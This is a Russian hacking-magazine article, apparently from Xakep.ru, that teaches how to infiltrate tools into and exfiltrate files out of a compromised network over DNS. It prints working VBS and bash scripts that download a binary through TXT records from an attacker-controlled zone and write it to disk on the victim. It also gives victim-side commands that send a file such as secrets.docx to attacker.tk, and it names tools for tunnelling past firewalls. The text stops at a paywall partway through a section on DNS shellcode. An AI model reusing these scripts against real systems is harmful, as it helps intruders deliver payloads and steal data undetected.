Содержание статьи
В большинстве случаев внутренние сети никак не ограничивают разрешение DNS-имен произвольных зон. А поскольку природа DNS распределенная, тот или иной DNS-запрос может приходить точно на подконтрольный сервер злоумышленника. В итоге мы получим полноценный канал передачи данных.
В наши дни существуют замечательные решения для организации целых VPN-туннелей через DNS, такие как iodine. При этом, даже если ты не имеешь прав root, ты всегда можешь воспользоваться dnscat или dns2tcp, который пробросит произвольное соединение, скажем, на прокси. И в том и в другом случае ты сможешь преодолеть ограничения файрволов и начать продвижение по внутренней сети.
Но остается нерешенным главный вопрос: как передать эти программы в скомпрометированную сеть? В этом нам поможет набор моих скриптов для инфильтрации и эксфильтрации данных на все случаи жизни. Главная их особенность в полном отсутствии требований к административным привилегиям и прицел на переносимость — ведь на исследуемом сервере окажется либо Windows, либо Linux.
Инфильтрация через DNS
DNS — наш незаменимый помощник. С помощью следующего кода мы можем скачать любой файл с использованием DNS на любую Windows:
dns_download.vbs
On Error Resume NextSet objShell = CreateObject("WScript.Shell")Set writer = CreateObject("Scripting.FileSystemObject").createtextfile("c:\windows\temp\out.exe")For d = 1 To 1190 pos = 0 While pos = 0 Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.yourzone.tk") res = exec.Stdout.ReadAll() pos = inStr(1,res,"?") txt = Mid(res,pos+1,253) Wscript.Echo d & " " & txt Wend For b = 0 To Len(txt)/2-1 writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2))) NextNext
А вот скрипт для Linux:
dns_download.sh
#!/bin/bashfor i in `seq $2`do answ=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4` echo ${answ:2:-1} | xxd -r -p - >> $3 echo $i ${answ:2:-1}done
Язык VBS обеспечивает нам стопроцентную переносимость между всеми версиями Windows (в отличие от PowerShell). Под Linux, как всегда, используем bash.
На стороне скомпрометированного сервера скрипты запускаются следующим образом.
Вариант для Windows:
cscript.exe dns_download.vbs
Для Linux:
./dns_download.sh attacker.tk 1190 /tmp/dnscat
На стороне атакующего — так:
sudo ./dns_upload.py --udp --file dnscat.exe
Например, на скриншотах ниже программа dns2tcpc.
передается через DNS с NS-сервера подконтрольной мне DNS-зоны на victim с использованием чистого VBS.
Произвольные данные будут проходить через TXT-записи в виде hexastring.
Далее мы можем развивать DNS-туннелирование уже с использованием привычных инструментов.
Эксфильтрация через DNS
Аналогичным образом мы можем и выгружать файлы с victim. На атакующей стороне это делается так:
sudo ./dns_download.py --udp --file secrets.docx
На стороне жертвы — так:
cscript.exe dns_upload.vbs c:\path\to\secrets.docx attacker.tk
DNS-шелл-код
При эксплуатации уязвимостей из интернета нужно помнить, что атакуемая система, скорее всего, находится в DMZ, откуда доступа в интернет у нее может и не быть. Так что заряжать эксплоит reverse_tcp
шелл‑кодами окажется бесполезным занятием. Шелл не откроется, и ты подумаешь, что цель неуязвима, пропатчена или просто эксплоит нерабочий. Хотя все дело в payload.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»